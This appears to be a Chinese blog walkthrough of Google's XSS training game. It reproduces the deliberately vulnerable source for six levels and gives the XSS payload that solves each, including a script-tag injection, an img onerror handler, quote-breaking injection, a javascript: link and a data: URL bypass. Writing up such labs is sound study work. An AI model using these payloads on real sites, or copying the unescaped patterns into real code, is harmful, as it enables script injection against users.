谷歌的小游戏,复习一下xss
项目地址:https://xss-game.appspot.com/
level1
https://xss-game.appspot.com/level1/frame
page_header = """
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level1">
<img src="/static/logos/level1.png">
<div>
"""
page_footer = """
</div>
</body>
</html>
"""
main_page_markup = """
<form action="" method="GET">
<input id="query" name="query" value="Enter query here..."
onfocus="this.value=''">
<input id="button" type="submit" value="Search">
</form>
"""
class MainPage(webapp.RequestHandler):
def render_string(self, s):
self.response.out.write(s)
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('query'):
# Show main search page
self.render_string(page_header + main_page_markup + page_footer)
else:
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
# Display the results page
self.render_string(page_header + message + page_footer)
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
关键部分
query = self.request.get('query', '[empty]')
# Our search engine broke, we found no results :-(
message = "Sorry, no results were found for <b>" + query + "</b>."
message += " <a href='?'>Try again</a>."
Sorry, no results were found for <b> + query + </b>.
GET请求query会直接填入网页html
直接打即可,payload:
<script>alert(1);</script>
level2
https://xss-game.appspot.com/level2/frame
源码·index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- This is our database of messages -->
<script src="/static/post-store.js"></script>
<script>
var defaultMessage = "Welcome!<br><br>This is your <i>personal</i>"
+ " stream. You can post anything you want here, especially "
+ "<span style='color: #f00ba7'>madness</span>.";
var DB = new PostDB(defaultMessage);
function displayPosts() {
var containerEl = document.getElementById("post-container");
containerEl.innerHTML = "";
var posts = DB.getPosts();
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote";
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
}
window.onload = function() {
document.getElementById('clear-form').onsubmit = function() {
DB.clear(function() { displayPosts() });
return false;
}
document.getElementById('post-form').onsubmit = function() {
var message = document.getElementById('post-content').value;
DB.save(message, function() { displayPosts() } );
document.getElementById('post-content').value = "";
return false;
}
displayPosts();
}
</script>
</head>
<body id="level2">
<div id="header">
<img src="/static/logos/level2.png" />
<div>Chatter from across the Web.</div>
<form action="?" id="clear-form">
<input class="clear" type="submit" value="Clear all posts">
</form>
</div>
<div id="post-container"></div>
<table class="message">
<tr>
<td valign="top">
<img src="/static/level2_icon.png">
</td>
<td class="message-container">
<div class="shim"></div>
<form action="?" id="post-form">
<textarea id="post-content" name="content" rows="2"
cols="50"></textarea>
<input class="share" type="submit" value="Share status!">
<input type="hidden" name="action" value="sign">
</form>
</td>
</tr>
</table>
</body>
</html>
Level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage) ], debug=False)
Post-store.js
/*
* Objects to implement a client-side post database.
*/
function Post(message) {
this.message = message;
this.date = (new Date()).getTime();
}
function PostDB(defaultMessage) {
// Initial message to display to users
this._defaultMessage = defaultMessage || "";
this.setup = function() {
var defaultPost = new Post(defaultMessage);
window.localStorage["postDB"] = JSON.stringify({
"posts" : [defaultPost]
});
}
this.save = function(message, callback) {
var newPost = new Post(message);
var allPosts = this.getPosts();
allPosts.push(newPost);
window.localStorage["postDB"] = JSON.stringify({
"posts" : allPosts
});
callback();
return false;
}
this.clear = function(callback) {
this.setup();
callback();
return false;
}
this.getPosts = function() {
return JSON.parse(window.localStorage["postDB"]).posts;
}
if(!window.localStorage["postDB"]) {
this.setup();
}
}
关键代码
for (var i=0; i<posts.length; i++) {
var html = '<table class="message"> <tr> <td valign=top> '
+ '<img src="/static/level2_icon.png"> </td> <td valign=top '
+ ' class="message-container"> <div class="shim"></div>';
html += '<b>You</b>';
html += '<span class="date">' + new Date(posts[i].date) + '</span>';
html += "<blockquote>" + posts[i].message + "</blockquote"; //这还少个 '>' 23333
html += "</td></tr></table>"
containerEl.innerHTML += html;
}
可以发现我们提交的内容输出字段会被<blockquote>
包裹,考虑到数据是存储的服务器上的可以利用存储型xss,利用onerror
事件来进行xss
onerror 事件在视频/音频(audio/video)数据加载期间发生错误时触发。
利用img标签加载一个不存在的对象,会触发onerror事件
payload:
<img src="" onerror="javascript:alert(1);"/>
代码存进了服务器里,只要刷新都会触发
level3
https://xss-game.appspot.com/level3/frame#1
源码·index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<!-- Load jQuery -->
<script
src="//ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js">
</script>
<script>
function chooseTab(num) {
// Dynamically load the appropriate image.
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
// Select the current tab
var tabs = document.querySelectorAll('.tab');
for (var i = 0; i < tabs.length; i++) {
if (tabs[i].id == "tab" + parseInt(num)) {
tabs[i].className = "tab active";
} else {
tabs[i].className = "tab";
}
}
// Tell parent we've changed the tab
top.postMessage(self.location.toString(), "*");
}
window.onload = function() {
chooseTab(unescape(self.location.hash.substr(1)) || "1");
}
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
chooseTab(unescape(self.location.hash.substr(1)));
}
}, false);
</script>
</head>
<body id="level3">
<div id="header">
<img id="logo" src="/static/logos/level3.png">
<span>Take a tour of our cloud data center.</a>
</div>
<div class="tab" id="tab1" onclick="chooseTab('1')">Image 1</div>
<div class="tab" id="tab2" onclick="chooseTab('2')">Image 2</div>
<div class="tab" id="tab3" onclick="chooseTab('3')">Image 3</div>
<div id="tabContent"> </div>
</body>
</html>
Level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
关键代码
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
$('#tabContent').html(html);
window.location.hash = num;
num
是#后面的输入,没有经过任何过滤,所以让它的img标签闭合,再加上我们的代码即可
<img src='/static/level3/cloud + num + .jpg' />
即变为<img src='/static/level3/cloud'><script>alert(1);</script><.jpg' />
Payload:
'><script>alert(1);</script><
level4
https://xss-game.appspot.com/level4/frame#
源码·index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<form action="" method="GET">
<input id="timer" name="timer" value="3">
<input id="button" type="submit" value="Create timer"> </form>
</form>
</body>
</html>
Level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
if not self.request.get('timer'):
# Show main timer page
self.render_template('index.html')
else:
# Show the results page
timer= self.request.get('timer', 0)
self.render_template('timer.html', { 'timer' : timer })
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
Timer.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function startTimer(seconds) {
seconds = parseInt(seconds) || 3;
setTimeout(function() {
window.confirm("Time is up!");
window.history.back();
}, seconds * 1000);
}
</script>
</head>
<body id="level4">
<img src="/static/logos/level4.png" />
<br>
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
<br>
<div id="message">Your timer will execute in {{ timer }} seconds.</div>
</body>
</html>
关键代码
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
默认3秒seconds = parseInt(seconds) || 3;
输入100,看到加载如下
<img src="/static/loading.gif" onload="startTimer('100');">
于是想办法闭合,用单引号闭合startTimer
,然后写弹窗再和后面的')
闭合
onload 事件会在页面或图像加载完成后立即发生
Payload:
');alert('1
即变为<img src="/static/loading.gif" onload="startTimer('');alert('1');">
level5
https://xss-game.appspot.com/level5/frame#
源码·confirm.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
Thanks for signing up, you will be redirected soon...
<script>
setTimeout(function() { window.location = '{{ next }}'; }, 5000);
</script>
</body>
</html>
Level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
# Disable the reflected XSS filter for demonstration purposes
self.response.headers.add_header("X-XSS-Protection", "0")
# Route the request to the appropriate template
if "signup" in self.request.path:
self.render_template('signup.html',
{'next': self.request.get('next')})
elif "confirm" in self.request.path:
self.render_template('confirm.html',
{'next': self.request.get('next', 'welcome')})
else:
self.render_template('welcome.html', {})
return
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
Signup.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
<img src="/static/logos/level5.png" /><br><br>
<!-- We're ignoring the email, but the poor user will never know! -->
Enter email: <input id="reader-email" name="email" value="">
<br><br>
<a href="{{ next }}">Next >></a>
</body>
</html>
Welcome.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
</head>
<body id="level5">
Welcome! Today we are announcing the much anticipated<br><br>
<img src="/static/logos/level5.png" /><br><br>
<a href="/level5/frame/signup?next=confirm">Sign up</a>
for an exclusive Beta.
</body>
</html>
关键代码
<a href="{{ next }}">Next >></a>
直接讲next参数填入html,href也是可以执行JavaScript代码的
payload:
next=javascript:alert(1);
然后点Next>>
就行
超链接标签
<a>
,用户点击相应按钮时可以跳转到新的页面(执行某个JavaScript),用到了这样的代码结构:
<a href='javascript:doSomething()'>...</a>
执行权首先落在doSomething()函数,若存在返回值则将返回值返给超链接进行合成
level6
https://xss-game.appspot.com/level6/frame#/static/gadget.js
源码·index.html
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>
level.py
class MainPage(webapp.RequestHandler):
def render_template(self, filename, context={}):
path = os.path.join(os.path.dirname(__file__), filename)
self.response.out.write(template.render(path, context))
def get(self):
self.render_template('index.html')
application = webapp.WSGIApplication([ ('.*', MainPage), ], debug=False)
gadget.js
/* This is a completely awesome invisible gadget */
关键代码
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\/\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \"http\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
直接加载外部脚本,如图所示
既然没有任何过滤,那就直接用data数据流加载即可
RFC2397对data数据流有过定义 https://tools.ietf.org/html/rfc2397
data:[<mediatype>][;base64],<data>
payload:
data:text/plain,alert(1);
学习了基本的Cross-site scripting (XSS)
跨站点脚本(XSS)是一个安全漏洞,可能会影响网站。 这个漏洞可能使攻击者可以将自己的恶意JavaScript代码添加到显示给用户的HTML页面上。 一旦被害者的浏览器访问,此代码便可以执行,改变网站的行为或外观,窃取私人数据或代表用户执行操作等等
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